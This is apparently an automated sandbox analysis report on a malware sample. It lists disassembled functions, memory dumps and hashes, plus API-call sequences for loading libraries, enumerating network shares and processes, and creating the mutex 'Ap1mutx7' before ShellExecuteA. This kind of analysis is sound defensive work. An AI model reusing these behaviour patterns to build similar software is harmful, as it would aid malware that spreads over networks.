                                                            • Associated: 00000000.00000002.3735613654.0000000000AEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AF9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B07000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B92000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B9F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BD9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3784320260.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_400000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: a5fa5feb04f6dc6decdc1be2653462fbb6fc861c721e9484c5e26fac0a1e8240
                                                            • Instruction ID: 95f3281a58f8fcae2149cb9b46d31fd651d0bd318b3924a23727c9fa77fe90f6
                                                            • Opcode Fuzzy Hash: a5fa5feb04f6dc6decdc1be2653462fbb6fc861c721e9484c5e26fac0a1e8240
                                                            • Instruction Fuzzy Hash: 2CF10878A40718EFCF01CF85D8C0A99BB71BF0E354F5480A9EA486B316C731AA55DF66
                                                            Function 006B0000 Relevance: .3, Instructions: 282COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3735613654.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                            • Associated: 00000000.00000002.3733928280.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AF9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B07000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B92000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B9F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BD9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3784320260.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_400000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: b89112b8ab70f0540649e1f8226f5b03757a80aaa67d7c9a2f17739f4f5549f3
                                                            • Instruction ID: 1b489b775e79733ac464064b579644364b86a2249c920bfb99baac24f0b800d1
                                                            • Opcode Fuzzy Hash: b89112b8ab70f0540649e1f8226f5b03757a80aaa67d7c9a2f17739f4f5549f3
                                                            • Instruction Fuzzy Hash: DFB1C0B4E00719EBDF00DF95D8C9AADBB31FF1A311F104095EA493B216C7316AA4CB66
                                                            Function 0047D0C6 Relevance: .3, Instructions: 259COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3735613654.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                            • Associated: 00000000.00000002.3733928280.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AF9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B07000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B92000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B9F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BD9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3784320260.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_400000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: fc60ecf50bd115ca0c6ea2745a91e2bccda0b72c85d336beea95e2ba67d1c3a9
                                                            • Instruction ID: a98a0805b81cd91773ead57a1181c68ee88eebed74efd2f353c66a37dd74f11e
                                                            • Opcode Fuzzy Hash: fc60ecf50bd115ca0c6ea2745a91e2bccda0b72c85d336beea95e2ba67d1c3a9
                                                            • Instruction Fuzzy Hash: 65B13975A1020ADFDB15CF04C5D0AE9BBB1BF58318F24C1AED85A5B342C735EA46CB94
                                                            Function 029E22A0 Relevance: .2, Instructions: 186COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 231b8ff7032c333e6460f0884a65b2a6638e54385814aa1681cca3182da295f2
                                                            • Instruction ID: a9735bb2c39f9e5e6903ff18b95f4b726c97b8a7cd84a2f902c655712809e45f
                                                            • Opcode Fuzzy Hash: 231b8ff7032c333e6460f0884a65b2a6638e54385814aa1681cca3182da295f2
                                                            • Instruction Fuzzy Hash: 65713D70E0424A9BDF09CF59C4907BFBBB6FF89304F18C469D95AAB345E6349942CB80
                                                            Function 0056B8DC Relevance: .2, Instructions: 155COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3735613654.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                            • Associated: 00000000.00000002.3733928280.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AF9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B07000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B92000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B9F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BD9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3784320260.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_400000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: e10efb1d84bd9a2637959c9db9e82ff21b66982df5390521cb1e77c104381ba0
                                                            • Instruction ID: a0aa34295f161fd5f84823270680bf8bb7b086cdfb1439aa951226d721699f42
                                                            • Opcode Fuzzy Hash: e10efb1d84bd9a2637959c9db9e82ff21b66982df5390521cb1e77c104381ba0
                                                            • Instruction Fuzzy Hash: 6451E470C0060EEBDF00AF90E88AAEDBF75FF49301F208490F5557A199CB754A64DB66
                                                            Function 00670000 Relevance: .1, Instructions: 142COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3735613654.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                            • Associated: 00000000.00000002.3733928280.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AF9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B07000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B92000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B9F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BD9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3784320260.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_400000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: dbdd0636e1126b189e7419a9752cfa660a1e90c8b751bc7c6e7ef96ba486b90f
                                                            • Instruction ID: ce473117af107609bb4fd90bc7b36463f0a1fed192aa4c58c7a6313cae4de482
                                                            • Opcode Fuzzy Hash: dbdd0636e1126b189e7419a9752cfa660a1e90c8b751bc7c6e7ef96ba486b90f
                                                            • Instruction Fuzzy Hash: 6251C370D04A09EBEF00AFD0E98ABEDBB30FF59301F6184A0E99539195CB764A38D755
                                                            Function 005425BE Relevance: .0, Instructions: 39COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3735613654.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                            • Associated: 00000000.00000002.3733928280.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AF9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B07000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B92000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B9F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BD9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3784320260.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_400000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: c667ccb8b84e6d30d26aa615a4491c54742a6092b97cf67b0c7e5bc9f249164c
                                                            • Instruction ID: 91bca85001652119887537d72ad29547c518aaea66af3a96ee14467b3f7299ed
                                                            • Opcode Fuzzy Hash: c667ccb8b84e6d30d26aa615a4491c54742a6092b97cf67b0c7e5bc9f249164c
                                                            • Instruction Fuzzy Hash: 6F018C7A900208FFCF019F94D845ADDBFB1FF09361F109095F949AA160D37696A4EF85
                                                            Function 00546812 Relevance: .0, Instructions: 35COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3735613654.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                            • Associated: 00000000.00000002.3733928280.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AF9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B07000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B92000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B9F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BD9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3784320260.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_400000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 840c11d9867bfcca1b6ef2f67c37df6373ca74aae2ffa59710516b68a32c619d
                                                            • Instruction ID: 4d56b14228df06069ea0b60fbe3d07dad7913d7acb39a771c3e78ffda998a9f7
                                                            • Opcode Fuzzy Hash: 840c11d9867bfcca1b6ef2f67c37df6373ca74aae2ffa59710516b68a32c619d
                                                            • Instruction Fuzzy Hash: 90F012B4C05304EBDB20EF90AD067BDBB74FB27343F005265E50926190E6768E69DB9B
                                                            Function 029D4BD0 Relevance: 25.7, APIs: 17, Instructions: 245librarystringmemoryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetSystemDirectoryA.KERNEL32(00000000,000000F8), ref: 029D4C38
                                                            • lstrlen.KERNEL32(00000000), ref: 029D4C45
                                                            • lstrcat.KERNEL32(00000000,02A555C8), ref: 029D4C64
                                                            • GlobalAlloc.KERNEL32(00000040,?), ref: 029D4C97
                                                            • lstrcat.KERNEL32(00000000,?), ref: 029D4D05
                                                              • Part of subcall function 029D5BE5: GetTempPathA.KERNEL32(00000080,?,?), ref: 029D5C17
                                                              • Part of subcall function 029D5BE5: lstrlen.KERNEL32(?), ref: 029D5C21
                                                              • Part of subcall function 029D5BE5: lstrcat.KERNEL32(?,02A555F4), ref: 029D5C3D
                                                              • Part of subcall function 029D5BE5: lstrcpy.KERNEL32(00000000,00000000), ref: 029D5C5A
                                                              • Part of subcall function 029D5BE5: lstrlen.KERNEL32(?,02A541D4,00000000), ref: 029D5C88
                                                              • Part of subcall function 029D5BE5: wsprintfA.USER32 ref: 029D5C94
                                                            • CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 029D4D2A
                                                            • LoadLibraryExA.KERNEL32(00000000,00000000,00000001), ref: 029D4D3F
                                                            • LoadLibraryExA.KERNEL32(?,00000000,00000001), ref: 029D4D5F
                                                            • GlobalFree.KERNEL32(?), ref: 029D4D82
                                                            • GetProcAddress.KERNEL32(00000000,02A53BEC), ref: 029D4D95
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: lstrcatlstrlen$GlobalLibraryLoad$AddressAllocCopyDirectoryFileFreePathProcSystemTemplstrcpywsprintf
                                                            • String ID:
                                                            • API String ID: 1023114332-0
                                                            • Opcode ID: f10c9829b81de94e44cbcbd7a54c906a2cd97718e1ad9faf022c75186cc5fb7b
                                                            • Instruction ID: ff2ee0b3c83e3f9d6cf002e0cb72069cc2b9c5279eebce7c8ec19c84f203d5a6
                                                            • Opcode Fuzzy Hash: f10c9829b81de94e44cbcbd7a54c906a2cd97718e1ad9faf022c75186cc5fb7b
                                                            • Instruction Fuzzy Hash: 96B1FB71940229AFDB64DFA4DD88BEEB7B5FF48304F1089D8E509A7250DB34AA85CF50
                                                            Function 029DC875 Relevance: 19.6, APIs: 13, Instructions: 147sleepstringshareCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • Sleep.KERNEL32(00000400), ref: 029DC8D1
                                                            • WNetOpenEnumA.MPR(00000002,00000000,00000000,?,00000000), ref: 029DC8E5
                                                            • GlobalAlloc.KERNEL32(00000040,00007F80), ref: 029DC916
                                                            • WNetEnumResourceA.MPR(00000000,FFFFFFFF,?,00008000), ref: 029DC94E
                                                            • lstrcpy.KERNEL32(?,00000000), ref: 029DC9C5
                                                            • CharUpperA.USER32(?), ref: 029DC9CF
                                                            • lstrcat.KERNEL32(?,02A55668), ref: 029DC9DE
                                                            • lstrlen.KERNEL32(?,?), ref: 029DC9EC
                                                            • Sleep.KERNEL32(00001000), ref: 029DCA18
                                                            • GetLastError.KERNEL32 ref: 029DCA25
                                                            • Sleep.KERNEL32(00002000), ref: 029DCA39
                                                            • GlobalFree.KERNEL32(?), ref: 029DCA48
                                                            • WNetCloseEnum.MPR(00000000), ref: 029DCA52
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: EnumSleep$Global$AllocCharCloseErrorFreeLastOpenResourceUpperlstrcatlstrcpylstrlen
                                                            • String ID:
                                                            • API String ID: 904141561-0
                                                            • Opcode ID: fcf5ab7944b45e0a394d49d2d0c2440e5c8f6f7dc4346f844b8adf35e8f61694
                                                            • Instruction ID: d63f4f90a243621c13d7f3ccd46db4e42e87546bad8bf371b8529f704d99894a
                                                            • Opcode Fuzzy Hash: fcf5ab7944b45e0a394d49d2d0c2440e5c8f6f7dc4346f844b8adf35e8f61694
                                                            • Instruction Fuzzy Hash: 14514BB1D40218EFDB14CF98D988BAEBBB5FB48315F10C609F516AB280CB749905CB65
                                                            Function 048C0260 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 52librarysleeploaderCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetModuleFileNameA.KERNEL32(00000000,048C1778,000001FE), ref: 048C01D5
                                                            • LoadLibraryExA.KERNEL32(SHELL32.DLL,00000000,00000000), ref: 048C01F4
                                                            • GetProcAddress.KERNEL32(00000000,ShellExecuteA), ref: 048C0202
                                                            • CreateMutexA.KERNEL32(00000000,00000000,Ap1mutx7), ref: 048C022F
                                                            • GetLastError.KERNEL32(00000000), ref: 048C0236
                                                            • Sleep.KERNEL32(000927C0), ref: 048C0245
                                                            • ExitProcess.KERNEL32(00000000), ref: 048C024D
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3847465779.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_48c0000_a4#Uff09.jbxd
                                                            Similarity
                                                            • API ID: AddressCreateErrorExitFileLastLibraryLoadModuleMutexNameProcProcessSleep
                                                            • String ID: Ap1mutx7$SHELL32.DLL$ShellExecuteA$open
                                                            • API String ID: 1721171764-1163154406
                                                            • Opcode ID: 5fabe9b07193a103ad390345586922e9e58ffe95a8efff040cf2f35e3d4bd4c2
                                                            • Instruction ID: 6695a1e4ae61fdb32b96094732a62bb551b9b35f0d4d32acab752574622af1b6
                                                            • Opcode Fuzzy Hash: 5fabe9b07193a103ad390345586922e9e58ffe95a8efff040cf2f35e3d4bd4c2
                                                            • Instruction Fuzzy Hash: 8011E171244289ABEF11DEE08D4DFDD37A8AF45B45F444915FA09EE0E0DAB1E340876B
                                                            Function 029D5119 Relevance: 15.1, APIs: 10, Instructions: 147sleepprocessCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 029D515E
                                                            • Process32First.KERNEL32(00000000,00000128), ref: 029D51A7
                                                            • CharUpperA.USER32(?,00000000,00000128,00000002,00000000), ref: 029D51BB
                                                            • Sleep.KERNEL32(00000400), ref: 029D5231
                                                            • Sleep.KERNEL32(00000400), ref: 029D527C
                                                              • Part of subcall function 029D42C7: tolower.MSVCRT ref: 029D431E
                                                              • Part of subcall function 029D42C7: tolower.MSVCRT ref: 029D4330
                                                            • Process32Next.KERNEL32(00000000,00000128), ref: 029D5290
                                                            • CharUpperA.USER32(?,00000000,00000128,00000000,00000128,00000002,00000000), ref: 029D52A4
                                                            • Sleep.KERNEL32(00000400), ref: 029D52EF
                                                            • Sleep.KERNEL32(00000400), ref: 029D5367
                                                            • CloseHandle.KERNEL32(00000000,00000002,00000000), ref: 029D537D
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
